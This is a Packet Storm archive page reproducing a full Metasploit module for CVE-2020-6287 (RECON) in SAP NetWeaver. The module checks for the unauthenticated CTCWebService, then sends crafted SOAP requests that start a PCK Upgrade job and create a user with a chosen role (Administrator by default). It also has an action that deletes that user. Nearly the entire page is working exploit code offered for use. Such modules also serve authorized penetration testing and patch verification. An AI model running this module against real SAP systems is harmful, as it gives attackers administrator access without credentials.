exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SAP Unauthenticated WebService User Creation

SAP Unauthenticated WebService User Creation
Posted Aug 31, 2024
Authored by Spencer McIntyre, Dmitry Chastuhin, Pablo Artuso | Site metasploit.com

This Metasploit module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system changes.

tags | exploit, web
advisories | CVE-2020-6287
SHA-256 | 9d4da8f09f54ec6089b8460657fec4b370a7fd9f0d3af4a870972933d253c5aa

SAP Unauthenticated WebService User Creation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Unauthenticated WebService User Creation',
'Description' => %q{
This module leverages an unauthenticated web service to submit a job which will create a user with a specified
role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid
unnecessary system changes.
},
'Author' => [
'Pablo Artuso', # The Onapsis Security Researcher who originally found the vulnerability
'Dmitry Chastuhin', # Author of one of the early PoCs utilizing CTCWebService
'Spencer McIntyre' # This Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2020-6287' ],
[ 'URL', 'https://github.com/chipik/SAP_RECON' ],
[ 'URL', 'https://www.onapsis.com/recon-sap-cyber-security-vulnerability' ],
[ 'URL', 'https://us-cert.cisa.gov/ncas/alerts/aa20-195a' ]
],
'Notes' => {
'AKA' => [ 'RECON' ],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
},
'Actions' => [
[ 'ADD', { 'Description' => 'Add the specified user' } ],
[ 'REMOVE', { 'Description' => 'Remove the specified user' } ]
],
'DefaultAction' => 'ADD',
'DisclosureDate' => '2020-07-14'
)
)

register_options(
[
Opt::RPORT(50000),
OptString.new('USERNAME', [ true, 'The username to create' ]),
OptString.new('PASSWORD', [ true, 'The password for the new user' ]),
OptString.new('ROLE', [ true, 'The role to assign the new user', 'Administrator' ]),
OptString.new('TARGETURI', [ true, 'Path to CTCWebService', '/CTCWebService/CTCWebServiceBean' ])
]
)
end

def check
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => { 'wsdl' => '' }
}
)

return Exploit::CheckCode::Safe unless res&.code == 200
return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')

xml = res.get_xml_document
return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'
return Exploit::CheckCode::Safe if xml.xpath("//wsdl:definitions/wsdl:service[@name='CTCWebService']").empty?

Exploit::CheckCode::Vulnerable
end

def run
case action.name
when 'ADD'
action_add
when 'REMOVE'
action_remove
end
end

def action_add
job = nil
print_status('Starting the PCK Upgrade job...')
job = invoke_pckupgrade
print_good("Job running with session id: #{job.session_id}")

report_vuln(
host: rhost,
port: rport,
name: name,
sname: ssl ? 'https' : 'http',
proto: 'tcp',
refs: references,
info: "Module #{fullname} successfully submitted a job via the CTCWebService"
)

loop do
# it's a slow process, wait between status checks
sleep 2

next unless job.has_events_available?

event = job.get_event

if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')
report_error_details(job)
fail_with(Failure::Unknown, 'General error')
end

unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?
vprint_status("Received event description: #{description}")
end

unless (description = event.xpath('//ctc:FinishAction/ctc:Action/ctc:Description/text()')).blank? # rubocop:disable Style/Next
if description.to_s =~ /Create User PCKUser/i
print_good('Successfully created the user account')
end

if description.to_s =~ /Assign Role SAP_XI_PCK_CONFIG to PCKUser/i
print_good('Successfully added the role to the new user')
break
end
end
end
ensure
unless job.nil?
print_status('Canceling the PCK Upgrade job...')
job.cancel_execution
end
end

def action_remove
message = { name: 'DeleteUser' }
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<root>
<username secure="true">#{datastore['USERNAME'].encode(xml: :text)}</username>
</root>
ENVELOPE

envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_DeleteUser.cproc</path>
</identifier>
<contextMessages>
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>
<name>#{message[:name]}</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE

res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200

print_good('Successfully deleted the user account')
end

def report_error_details(job)
print_error('Received a general error notification')
error_event = job.get_event

print_error('Error details:')
error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|
print_error(" #{message.text}")
end
end

def send_request_soap(envelope)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml;charset=UTF-8',
'data' => envelope
}
)

return nil unless res&.code == 200
return nil unless res.headers['Content-Type'].strip.start_with?('text/xml')

res
end

def invoke_pckupgrade
message = { name: 'Netweaver.PI_PCK.PCK' }
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>#{datastore['ROLE'].encode(xml: :text)}</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">#{datastore['USERNAME'].encode(xml: :text)}</userName>
<password secure="true">#{datastore['PASSWORD'].encode(xml: :text)}</password>
</PCKUser>
<PCKReceiver>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKReceiver>
<PCKMonitor>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKMonitor>
<PCKAdmin>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKAdmin>
</Usermanagement>
</PCK>
ENVELOPE

envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:execute>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>
</identifier>
<contextMessages>
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>
<name>#{message[:name]}</name>
</contextMessages>
</urn:execute>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE

res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200

session_id = res.get_xml_document.xpath('//return/text()').to_s
WebServiceJob.new(self, session_id)
end
end

class WebServiceJob
def initialize(mod, session_id)
@mod = mod
@session_id = session_id
end

def cancel_execution
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:cancelExecution>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:cancelExecution>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?

res.get_xml_document.xpath('//return/text()').to_s != 'false'
end

def get_event
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:getNextEvent>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:getNextEvent>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?

Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))
end

def has_events_available? # rubocop:disable Naming/PredicateName
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:eventsAvailable>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:eventsAvailable>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?

res.get_xml_document.xpath('//return/text()').to_s != 'false'
end

attr_reader :session_id

private

def send_request_soap(*args, **kwargs)
@mod.send_request_soap(*args, **kwargs)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close